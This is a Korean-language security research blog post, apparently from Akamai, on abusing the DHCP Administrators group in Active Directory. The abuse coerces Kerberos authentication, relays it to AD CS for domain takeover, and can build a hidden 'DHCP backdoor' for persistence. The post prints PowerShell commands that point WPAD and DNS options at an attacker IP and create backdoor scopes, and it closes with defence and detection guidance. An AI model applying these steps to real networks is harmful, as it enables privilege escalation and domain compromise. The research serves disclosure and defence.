Windows 도메인의 권한 상승을 위한 DHCP 관리자 그룹 악용
편집 및 추가 설명: 트리샤 하워드(Tricia Howard)
핵심 요약
Akamai 연구원들은 DHCP 관리자 그룹을 활용해 AD(Active Directory) 환경에 영향을 미치는 새로운 권한 상승 기법을 발견했습니다.
DHCP 서버 역할이 DC(도메인 컨트롤러)에 설치된 경우 도메인 관리자 권한을 얻을 수 있습니다.
이 기법은 정상적인 기능을 악용하며 어떤 취약점도 이용하지 않습니다. 따라서 이를 해결할 방법이 없습니다.
권한 상승이라는 기본 요소를 제공하는 것 외에도, 동일한 기법을 사용해 은밀한 도메인 지속성 메커니즘을 생성할 수도 있습니다.
Microsoft DHCP 서버는 매우 인기가 높으며 Akamai가 모니터링하는 네트워크의 40%에서 실행되는 것으로 관찰되었습니다. 이 서버를 실행하는 모든 환경이 취약해질 수 있습니다.
Akamai에서는 이 기법으로 인한 리스크를 대폭 줄이고 잠재적인 악용을 식별할 수 있는 자세한 단계와 이를 지원하는 설정을 확인하는 방법을 안내합니다.
서론
Google Docs에서 Active Directory에 이르기까지, 접속 관리는 기업의 거의 모든 역할에 영향을 미칩니다. 권한과 접속 제어에 대해 논의할 때 불필요한 리스크를 더하지 않으면서 직원의 불만을 최소화하려면 정교하게 균형을 잡아야 하는데, 보안팀이 담당하기에는 어려운 일입니다.
따라서 ‘적당한 접속’이라는 최적의 원칙은 모든 접속 전략에서 중요합니다. 요약하면, 모든 사용자는 직무를 수행하는 데 필요한 일련의 권한을 최대한 제한적으로 받아야 합니다. 이렇게 하면 사용자 한 명의 감염으로 인한 영향을 줄여 측면 이동과 추가적인 악용을 방지할 수 있습니다.
ID별로 접속을 관리하면 대부분의 리스크를 예방할 수 있으나, 특히 대기업 수준에서는 현실적이지도 실현 가능하지도 않습니다. 대신, 사용자 접속 그룹을 사용해 직무에 따라 일반화된 권한을 부여합니다. 이는 AD에서 가장 흔히 볼 수 있는 개념입니다. 가령 Microsoft는 ‘DNS 관리자’ 그룹을 제공하는데, 이 그룹은 DNS 서버 관리를 담당하는 AD 그룹입니다. ‘적당한 접속’ 원칙에 따라 구성원은 DNS 서버를 호스트하는 머신에 대한 권한이 아닌, DNS 서비스 관련 설정에 대해서만 권한을 갖습니다.
하지만 이 모두는 이론상으로는 가능해도, 현실에서는 이상에 가깝습니다. 셰이 베르(Shay Ber)의 2017년 리서치에서는 어떻게 ‘DNS 관리자’ 그룹의 구성원이 그룹의 권한을 악용해 DNS 서버에서 코드를 실행할 수 있었는지 보여줍니다. 이로 인해 대부분의 경우 도메인 관리자에 대한 권한이 상승했습니다.
Microsoft DHCP는 ‘DHCP 관리자’라는 비슷한 보안 그룹을 제공합니다. Microsoft DHCP에 관한 최근 리서치 를 수행하면서, 이 그룹을 이용해 권한 상승과 유사한 기본 요소를 찾는 것에 관한 의문이 들었습니다. DHCP 관리자가 도메인 관리자가 될 수 있을까요? 밝혀진 바와 같이, 물론 그럴 수도 있습니다.
이 블로그 게시물에서는 DHCP 관리자 그룹에 대해 다루고 DHCP 서버가 DC에 설치된 경우 해당 권한 중 하나를 악용해 전체 도메인 탈취 등 DHCP 서버를 감염시키는 방법을 안내합니다.
동일한 기법을 사용해 흥미로운 도메인 지속성 메커니즘을 수립하는 방법을 보여주고 ‘DHCP 백도어’를 구축하는 방법에 대해서도 자세히 알려드립니다.
이 기법은 DHCP 관리자가 사용할 수 있는 정상적인 권한과 옵션을 사용하므로, 패치와 같은 간단한 솔루션이 없습니다. 취약점이 없기 때문입니다. 이 기법으로 인한 리스크를 줄이는 데 도움을 드리고자 블로그 게시물에서 자세한 방어 및 탐지 단계를 소개합니다.
DHCP 관리자란?
DHCP 관리자 그룹은 DHCP(Dynamic Host Configuration Protocol) 서버를 관리하는 사용자 AD 그룹입니다. DHCP 관리자는 구성원이 원격 서버의 DHCP 서비스 설정을 쿼리하고 수정할 수 있도록 허용합니다.
중요한 사실은, 해당 구성원에게 DHCP 서버 머신 자체에 대한 권한은 없고 DHCP 서비스 설정에 대한 권한만 있다는 점입니다. 즉, DHCP 관리자는 DHCP 서버에서 코드를 실행할 수 없고 DHCP 관련 설정만 수정할 수 있습니다. DHCP 관리자가 제어하는 설정 중 하나는 DHCP 옵션입니다.
DHCP 옵션 악용
네트워크 클라이언트는 IP 주소 및 서브넷 마스크, 기본 게이트웨이 주소, DNS 서버 등 일련의 설정이 있어야 네트워크에 참여할 수 있습니다. DHCP 서버는 이러한 설정을 DHCP 옵션의 형태로 클라이언트에 알립니다. 다른 설정은 정의된 옵션 ID와 결합되어 클라이언트가 쿼리합니다(그림 1).
그림 1: DHCP 서버에 설정된 DHCP 옵션의 예
DHCP 클라이언트는 필요한 옵션을 요청하고 응답에 따라 네트워크 설정을 수정합니다. 서버에서 이러한 옵션 값을 제어할 수 있으면 공격자는 클라이언트가 요청한 각 옵션을 악용해 악성 설정을 심을 수 있습니다.
Windows 클라이언트에서 잠재적인 공격표면을 이해하기 위해 기본적으로 요청되는 옵션을 살펴볼 수 있습니다(그림 2).
그림 2: DHCP 서버에 설정된 DHCP 옵션
프록시 자동 검색
요청된 설정 중 하나인 ‘프록시 자동 검색’ 옵션(그림 2에서 파란색으로 강조 표시됨)은 웹 프록시(WPAD)를 자동으로 설정하는 데 사용됩니다. 이 옵션을 통해 DHCP 서버는 ‘wpad.dat’ 파일의 URL을 지정할 수 있습니다. 이 파일에는 클라이언트에서 사용할 프록시 설정이 들어 있습니다.
다음 PowerShell 명령어를 실행해 이 옵션을 설정하고 주소를 프록시로 지정할 수 있습니다.
Add-DhcpServerv4OptionDefinition -name wpad -OptionId 252 -type String
Set-DhcpServerv4OptionValue -Wpad "http://<attacker_ip>/wpad.dat" -ScopeId 172.25.0.0
이 옵션을 설정하면 DHCP 서버에서 주소를 임대할 때 Windows 클라이언트가 설정을 받는 것을 볼 수 있습니다(그림 3).
그림 3: 서버에서 프록시 설정을 수신하는 DHCP 클라이언트
이 설정을 받은 후 DHCP 클라이언트는 HTTP를 통해 머신에 연결하고 ‘wpad.dat’ 파일을 가져오려고 시도합니다(그림 4).
그림 4: 공격자의 머신에서 ‘wpad.dat’ 파일을 요청하는 DHCP 클라이언트
WPAD 서버로 위장할 수 있으면 클라이언트 인증정보를 감염시킬 수 있는 여러 번의 공격 기회가 생깁니다.
다른 DHCP 옵션을 표적으로 삼아도 비슷한 결과를 얻을 수 있습니다. 이는 설계상 문제로, 사실 보안 문제가 아닙니다. DHCP 관리자는 DHCP를 관리하는 기능을 보유합니다. 그러나 이 기능이 미치는 영향은 예상보다 광범위할 수 있습니다.
DHCP DNS 서버 옵션
악용될 수 있는 여러 DHCP 옵션을 분석하면서 눈여겨본 요소가 있었는데, 바로 DNS 서버 옵션입니다. 이전 공격과 비슷한 방식으로 DHCP 관리자는 DNS 서버 주소와 DNS 응답을 스푸핑해 중간 머신(MITM)의 위치를 확보할 수 있습니다. 그러나 밝혀진 바에 따르면, 이 옵션에는 다양한 용도가 있습니다.
일반적으로 DHCP 옵션은 요청하는 클라이언트에 데이터를 제공하는 데 사용됩니다. DNS 서버 옵션은 또 다른 용도로 활용된다는 사실이 흥미로운데, DNS 서버 옵션 값은 DHCP DNS 동적 업데이트 의 대상으로 사용되기도 합니다(그림 5).
그림 5: DHCP DNS 동적 업데이트 프로세스에 대한 DNS 서버 옵션 효과
이 점이 왜 흥미롭다는 걸까요? Microsoft DNS 서버와 Windows DNS 클라이언트는 안전한 동적 업데이트라는 동적 업데이트 기능을 지원합니다. 이 기능은 기본적으로 활성화되어 있는데, 활성화되면 서버에서 DNS 업데이트를 수행하기 전에 DNS 클라이언트가 인증을 받아야 합니다. 인증은 DNS를 통해 Kerberos를 사용해 수행됩니다.
DHCP 관리자 계정이 있으면 DHCP 서버에서 DNS 서버 옵션을 제어하고 선택한 주소로 인증하도록 할 수 있습니다. 그림 6의 단계는 이러한 작업을 수행하는 방법을 보여줍니다.
그림 6: 서버가 Kerberos를 통해 클라이언트에 인증하도록 하는 DHCP 임대
표적 DHCP 서버에서 IP 주소(172.25.14.19)를 DNS 서버 옵션으로 설정합니다.
머신에서 FQDN 옵션을 지정하면서 IP 주소를 임대합니다. 이 예에서는 FQDN ‘aaa.aka.test’를 지정합니다. 그러면 DHCP DNS 동적 업데이트가 트리거됩니다.
DHCP 서버는 머신을 DNS 서버라고 생각해서 DNS ‘SOA(권한 시작)’ 쿼리를 머신에 보냅니다. 이 쿼리는 DHCP 서버에서 ‘aaa.aka.test’에 대해 권한이 있는 DNS 서버를 확인하는 데 사용됩니다.
머신을 ‘aaa.aka.test’레코드에 대한 권한 있는 DNS 서버로 지정해 SOA 쿼리에 응답합니다.
DHCP 서버는 DNS 동적 업데이트를 머신에 전송해 레코드 생성을 시도합니다. 이 업데이트 시도는 인증되지 않았습니다.
그러니 서버의 인증 시도를 트리거하는 인증되지 않은 업데이트는 거부됩니다.
DHCP 서버는 TKEY 쿼리를 전송해 구축된 DNS를 통한 Kerberos 인증으로 머신을 인증합니다.
그림 7은 이 기법의 실제 사례를 보여줍니다.
그림 7: DHCP 임대 및 이후 DNS 트래픽의 패킷 캡처
DHCP 강제 적용이라고 부르는 이 기법은 Kerberos 인증 강제 요소를 부여합니다. 그러면 머신에서 모든 DHCP 서버를 인증할 수 있습니다.
DHCP 보안에 대해 궁금한 점이 있나요?
Kerberos 릴레이에 대한 DHCP 강제 적용
DHCP 강제 적용은 Kerberos 릴레이 공격을 시도할 수 있는 기회를 만듭니다. 머신에 대해 강제로 인증한 다음, 릴레이 공격을 수행해 DHCP 서버 머신 계정으로 위장하도록 할 수 있습니다. 이렇게 하면 DHCP 관리자 그룹에 포함된 제한된 권한을 받는 데 그치지 않고, 서버 자체를 완전하게 제어할 수 있습니다.
Kerberos 릴레이 표적은 다소 제한적이지만, 더크 얀(Dirk Jan)의 블로그 게시물에 설명된 것처럼 여전히 괜찮은 옵션이 있습니다. Kerberos 릴레이를 사용하면 AD CS(Active Directory Certificate Services)를 표적으로 삼을 수 있습니다.
AD CS는 Active Directory 환경을 위한 PKI 솔루션을 제공하는 서비스 집합입니다. AD 맥락에서 이 PKI의 주 용도는 인증서 기반 인증을 활성화하는 것입니다. AD CS를 통해 사용자는 직접 인증서를 발급하고 도메인의 리소스를 인증하는 데 사용할 수 있습니다.
이러한 인증서는 클라이언트가 인증서를 요청하는 데 사용할 수 있는 웹 서비스인 웹 등록 서비스 로 발급할 수 있습니다. 기본적으로 이 서비스는 메시지 무결성을 확인하지 않으므로, Kerberos 릴레이 공격에 취약합니다. 이 문제는 AD CS 리서치에서 ESC8 로 설명됩니다. AD CS 리서치 는 SpecterOps의 윌 슈뢰더(Will Schroeder)와 리 크리스텐슨(Lee Christensen)이 수행했습니다.
강제 적용 요소를 ESC8과 결합하면 DHCP 서버를 감염시킬 수 있는 공격 체인(그림 8)을 만들 수 있습니다.
그림 8: DHCP 강제 전체 공격 체인
이전 섹션에서 설명한 대로 DHCP 관리자를 사용해 Kerberos 인증을 머신에 강제 적용합니다.
Krbrelayx.py 를 사용해 인증을 AD CS로 릴레이하고 DHCP 서버 머신 계정에 대한 인증서를 가져옵니다.
인증서를 사용해 DHCP 서버 머신 계정의 NTLM 해시를 가져옵니다. SpecterOps의 리서치 에 THEFT5로 설명되어 있는 기법입니다.
NTLM 해시를 사용해 DHCP 서버 머신 계정으로 인증하고 코드를 실행합니다.
2~4단계에 대한 자세한 내용은 더크 얀의 krbrelayx 및 mitm6를 사용해 DNS를 통한 Kerberos 릴레이 블로그 게시물을 참조하세요.
요약하면, 환경에서 AD CS를 사용하는 경우 DHCP 관리자 계정은 모든 DHCP 서버에서 코드를 실행할 수 있습니다. 놀라운 일이죠.
DHCP 서버는 DC에 아주 흔하게 설치됩니다. 지금까지 관찰한 바에 따르면, Microsoft DHCP 서버를 사용하는 네트워크 중 57%는 DC에 DHCP 서버가 설치되어 있습니다. 이러한 경우, DHCP 관리자가 DC 머신 계정을 탈취해 전체 도메인을 감염시킬 수 있습니다 .
DNS 인증정보에 대한 참고 사항
방금 설명한 공격은 DNS 업데이트를 수행할 때 자체 머신 계정으로 인증하는 DHCP 서버에 의존합니다. Microsoft에서 권장하는 모범 사례는 취약한 사용자를 DHCP 서버의 DNS 인증정보 로 설정하는 것인데, 업데이트를 수행할 때 머신 계정 대신 이 인증정보를 사용할 수 있습니다.
이 설정은 릴레이 공격을 무효화할 수 있습니다. 서버의 머신 계정을 감염시키는 대신 공격자는 취약한 사용자의 권한을 얻게 됩니다.
다행인 사실은 저희가 DHCP 관리자라는 점이겠네요. DHCP 관리자는 인증정보 자체에 대한 정보가 없어도 기존 DNS 인증정보를 제거할 수 있습니다. 이 작업은 Remove-DhcpServerDnsCredential PowerShell 명령어를 사용해 수행할 수 있습니다. DNS 인증정보를 제거한 후 DHCP 서버는 기본값으로 되돌리고 머신 계정을 사용해 업데이트를 수행합니다.
DHCP 도메인 지속성
DHCP 관리자 그룹을 악용해 DHCP 서버에서 코드를 실행하는 것 외에도, 방금 설명한 기법은 무기화되어 흥미로운 도메인 지속성 메커니즘을 만들 수 있습니다.
DNS 서버 옵션을 설정한 후에는 인증을 강제하기 위해 인증정보가 필요하지 않습니다. 공격자는 DHCP 서버에서 IP 주소만 임대하면 됩니다. 그러면 공격자가 인증정보 없이 도메인 외부에서 DHCP 강제 공격을 수행할 수 있습니다.
DHCP 백도어 범위
DHCP 범위는 DHCP가 임대할 수 있는 특정 서브넷에 정의된 IP 주소 집합입니다. DHCP 옵션은 범위 단위로 설정할 수 있으므로, 여러 서브넷에 대해 다양하게 설정할 수 있습니다.
DHCP 강제 적용을 수행하려면 DHCP 범위 중 하나에서 DNS 서버 옵션을 변경해야 합니다. 물론, 여기에 기존 범위를 사용하고 싶지는 않습니다. 기존 범위의 DNS 서버 옵션을 수정하면 설정이 DHCP 클라이언트로 전달되어 통신 문제가 발생하고 백도어가 탐지될 가능성이 생기기 때문입니다.
그러니 대신, 네트워크의 서브넷에서 사용되지 않는 주소 범위를 이용해 전용 범위를 만들려고 합니다(그림 9).
그림 9: ‘백도어’ DHCP 범위 만들기
그러나 DHCP 서버 범위 선택 로직에 뿌리를 둔 이 접근 방식에는 문제가 있습니다. 클라이언트가 IP 주소를 임대하면 서버는 클라이언트의 소스 서브넷을 기반으로 사용할 DHCP 범위를 결정합니다. 이 서브넷은 DHCP 검색 메시지를 수신한 네트워크 인터페이스로 식별됩니다(그림 10).
그림 10: 네트워크 인터페이스에 기반한 DHCP 범위 선택
백도어를 트리거하려면 악성 범위에서 IP 주소를 임대해야 합니다. 그러려면 해당 범위에 서브넷이 연결되어 있어야 합니다. 동시에, 클라이언트 연결이 끊어지지 않도록 범위가 네트워크의 기존 서브넷에 연결되지 않도록 하려고 합니다. 그러나 두 요구사항은 서로 모순되는데, 범위가 기존 서브넷에 연결되어 있지 않으면 도달할 수 없기 때문입니다. 연결되어 있어야 다른 클라이언트도 도달할 수 있습니다. 다행히 DHCP 릴레이 에이전트가 이러한 모순을 해결할 수 있습니다.
DHCP 릴레이 에이전트
이 문제는 DHCP 릴레이 에이전트 기능을 통해 해결할 수 있습니다. DHCP 릴레이 에이전트는 로컬 네트워크에 존재하는지와 관계없이 클라이언트가 DHCP 서버에서 IP 주소를 임대할 수 있도록 하는 서버입니다(그림 11).
그림 11: 릴레이 에이전트를 사용한 DHCP 임대 프로세스
릴레이 에이전트는 클라이언트의 DHCP 브로드캐스트 메시지를 수신하고 클라이언트를 대신해 DHCP 서버로 메시지를 릴레이합니다. DHCP 릴레이 에이전트는 릴레이 에이전트 정보 DHCP 옵션을 통해 DHCP 서버에 클라이언트의 소스 서브넷을 알리므로, IP 주소를 임대할 때 서버가 사용할 올바른 범위를 결정할 수 있습니다.
이 기능을 통해 DHCP 릴레이 에이전트가 DHCP 서버의 인터페이스와 관계없이 모든 범위에서 IP 주소를 요청할 수 있습니다. 공격자가 릴레이 에이전트로 행동하고 릴레이 에이전트 정보 옵션에 서브넷을 표시해 모든 범위에서 IP 주소를 임대할 수 있습니다(그림 12).
그림 12: DHCP 릴레이 에이전트로 작동해 지정된 범위에서 IP 주소 임대
마지막으로 고려해야 할 사항이 하나 있습니다. 릴레이 서버 자체의 IP 주소는 서버의 기존 범위에 속해야 합니다. 그래야 악성 클라이언트가 서버에 접속하지 못하도록 할 수 있습니다. 이를 극복하려면 Microsoft 권장 사항 을 따르고 외부 IP 주소를 포함하는 전용 범위를 만들어 릴레이로 작동하도록 비정상적으로 ‘권한을 부여’하면 됩니다.
DHCP 릴레이 에이전트 옵션 악용
잠재적인 백도어(그림 13)는 다음 두 가지 범위로 구성됩니다.
권한 범위. 공격하는 머신이 DHCP 릴레이 에이전트로 작동하도록 승인하는 범위입니다. IP 범위에는 공격하는 외부 머신의 IP 주소가 포함됩니다.
- 강제 범위. IP 주소를 임대해 공격하는 머신에 Kerberos 인증 시도를 트리거하는 데 사용되는 범위입니다. DNS 서버 옵션은 공격하는 외부 머신 IP로 설정되며, IP 범위는 네트워크에서 사용되지 않는 임의의 범위가 될 수 있습니다.
그림 13: DHCP 백도어 설계
다음 PowerShell 코드는 이러한 범위를 만드는 방법을 보여줍니다.
Import-Module DhcpServer
Add-DhcpServerv4Scope -StartRange <attacker_ip> -EndRange <attacker_ip> -Name " " -SubnetMask <mask>
Add-DhcpServerv4Scope -StartRange <coercion_scope_address> -EndRange <coercion_scope_address> -Name " " -SubnetMask <mask>
Set-DhcpServerv4OptionValue -OptionId 6 -Value <attacker_ip> -Force -ScopeId <coercion_scope_address>
백도어를 트리거하기 위해 DHCP 서버의 주소를 다음과 같이 조정해 임대합니다.
릴레이 에이전트 IP 주소(giaddr) DHCP 필드에 저희 IP 주소를 사용합니다. 이 필드는 DHCP 서버에 릴레이 에이전트 IP 주소를 알리는 데 사용됩니다. 이 IP는 ‘권한 범위’ 내에 있어야 합니다.
‘강제 범위’ 내의 IP 주소와 함께 릴레이 에이전트 정보 옵션을 포함합니다.
그림 14에서 권한 범위는 IP 주소 172.25.14.18을 포함하고, 강제 범위는 주소 66.66.66.66을 포함합니다.
그림 14: 릴레이 에이전트로 작동할 때 DHCP 검색 조정
릴레이 에이전트 지원을 DDSpoof( DHCP DNS 스푸핑 툴킷)에 추가하고 공격을 수행할 수 있는 개념 증명(PoC) 스크립트 dhcp_coerce.py 를 만들었습니다. 이 스크립트는 DHCP 릴레이 에이전트로 작동하고 요청된 범위에서 IP 주소를 요청해서 강제 범위를 통해 인증 강제를 트리거할 수 있습니다(그림 15).
그림 15: DDSpoof를 사용해 DHCP 백도어 트리거
방어
이 위협에 대한 방어 조치는 다음과 같습니다.
위험한 DHCP 설정 탐지
AD CS에 대한 릴레이 공격 방어
DHCP 관리자 그룹 방역 실행
세그멘테이션을 통한 공격표면 감소
DNS 비정상 탐지
위험한 DHCP 설정 탐지
Invoke-DHCPCheckup.ps1 은 위험한 DHCP 설정을 탐지하는 데 도움이 됩니다. DHCP 강제 공격 체인의 맥락에서 가장 심각한 리스크는 DC에 DHCP 서버를 설치하는 것입니다. 이 설정은 피하는 것이 좋습니다.
Invoke-DHCPCheckup을 실행해 모든 활성 Microsoft DHCP 서버를 나열하고 DC에 설치된 서버를 확인합니다(그림 16). 가능한 경우 모든 DC에서 DHCP 서버 서비스를 비활성화합니다.
그림 16: Invoke-DHCPCheckup을 사용해 DC에 설치된 DHCP 서버 식별
AD CS에 대한 릴레이 공격 방어
이 공격 체인을 방지하는 가장 효과적인 방법은 AD CS 서버에 대한 릴레이 공격을 방어하는 것입니다. 그러면 인증 강제 요소를 악용할 수 없게 됩니다.
릴레이 공격의 리스크와 AD CS에 대한 변형은 새롭지 않으며, Microsoft에 알려져 있는 정보입니다. EPA(Extended Protection for Authentication) 는 이러한 공격을 방지하기 위해 도입된 기능이지만, AD CS에 대해 기본적으로 활성화되어 있지 않습니다. AD CS에 대한 릴레이 공격의 리스크를 방어하려면 HTTP를 비활성화하고 모든 AD CS 서버에서 EPA 기능을 활성화하세요.
DHCP 관리자 그룹 방역 실행
DHCP 관리자 그룹의 구성원은 DHCP 클라이언트 및 서버를 감염시킬 가능성이 있으므로, 이 그룹은 고가치 자산으로 취급해서 적절히 모니터링해야 합니다. DHCP 관리자 그룹의 구성원 자격을 최대한 제한해서 관리자 사용자 감염 리스크를 줄이세요. 문제가 있다고 생각하는 경우 DHCP 사용자 그룹을 보다 제한적으로 사용해 보세요.
세그멘테이션을 통한 공격표면 감소
이전의 방어 조치 외에도, 네트워크 세그멘테이션을 사용해 공격을 방어하고 공격표면을 줄여 잠재적으로 유사한 공격을 방지할 수 있습니다.
보안팀 직원은 Akamai Guardicore Segmentation을 사용해 다음을 수행할 수 있습니다.
관리자가 아닌 엔드포인트에서 DHCP 서버에 대한 RPC 트래픽을 차단해 DHCP 옵션을 수정할 수 없도록 합니다. DHCP 관리자가 사용하는 엔드포인트가 포함된 레이블을 만든 다음, 이 레이블만 비 DHCP 포트를 통해 DHCP 서버와 통신할 수 있도록 허용합니다.
필요하지 않은 엔드포인트에 대해 AD CS 등록 서버에 대한 접속을 차단해 릴레이 공격 가능성을 줄입니다. AD CS를 사용해 인증서를 발급해야 하는 엔드포인트가 포함된 레이블을 만든 다음, 이 레이블만 웹 등록 서버와 통신하도록 허용합니다.
인터넷에서 송수신되는 DHCP 트래픽을 차단해 외부 머신에서 DHCP 인증을 강제할 수 없도록 합니다. 모든 DHCP 서버에 대한 레이블을 만든 다음, 인터넷 주소와의 통신을 전부 차단합니다.
DNS 비정상 탐지
공격은 DHCP 서버가 표준 AD DNS 서버와 다른 주소로 DNS 업데이트 요청을 강제로 전송하는 것에 의존합니다. 이러한 종류의 트래픽은 일반적으로 정적이어서, 매우 비정상적인 동작이라고 할 수 있습니다. 이와 같이 비정상적인 트래픽 동작은 공격이나 DNS를 통한 Kerberos 인증을 악용하는 다른 공격을 탐지하는 기회가 될 수 있습니다.
비정상을 탐지하려면 AD를 쿼리하거나 DNS 트래픽을 모니터링해 DNS 업데이트를 수신해야 하는 정상적인 DNS 서버 목록을 만들면 됩니다. 이 목록은 상당히 제한적이어야 하며, 정상적인 트래픽에 대한 기준으로 사용되어야 합니다. 특히 인터넷 주소와 관련된 경우 목록과 다른 사항을 조사해야 합니다.
Akamai의 매니지드 위협 탐색 서비스 Akamai Hunt는 알려지지 않은 위협을 탐지하기 위해 환경을 지속적으로 모니터링하는 대규모 비정상 탐지 기법의 형태로 고객 보호 기능을 제공합니다.
결론
악성 권한 상승은 특히 정상적인 프로세스를 활용할 경우 막대한 피해를 초래할 수 있습니다. 사용자의 불편을 최소화하면서 강력한 보안 제어를 효율적으로 수행하기란 오늘날 보안 전문가에게도 아주 어려운 과제입니다. 사물 인터넷의 도입, 분산된 모바일 인력, 새로운 취약점과 기존 취약점을 악용하는 끊임없는 공격이 발생하는 오늘날에는 접속 전략을 반드시 파악해야 합니다.
DHCP 관리자 그룹은 이 개념의 대표적인 예입니다. DHCP 관리자 그룹은 구성원에게 강력한 권한 집합을 제공하지만, 공격자가 이러한 권한을 악용할 수도 있습니다. 특히 보안 부문에서는 선의로 나온 기능조차 악용될 수 있습니다.
보안팀 직원은 잠재적 리스크를 인식하고 적절한 주의를 기울여 이 그룹을 관리해야 합니다. 이 게시물을 통해 소개해드린 관련 위협에 대한 맥락 정보와 방어 조치가 도움이 되기를 바랍니다.
자세히 알아보기
Microsoft DHCP와 관련된 리스크에 대한 자세한 내용은 다음 주제를 다룬 다른 블로그 게시물을 참조하세요.
DHCP DNS 동적 업데이트를 악용하는 DNS 레코드 스푸핑
Akamai 보안 인텔리전스 그룹은 이 위협과 이와 유사한 위협을 지속적으로 모니터링하고 그 결과를 발표할 예정입니다. DHCP에 대한 업데이트 및 기타 최신 보안 리서치를 확인하려면 X(기존의 Twitter)에서 Akamai 보안 연구팀을 팔로우하시기 바랍니다.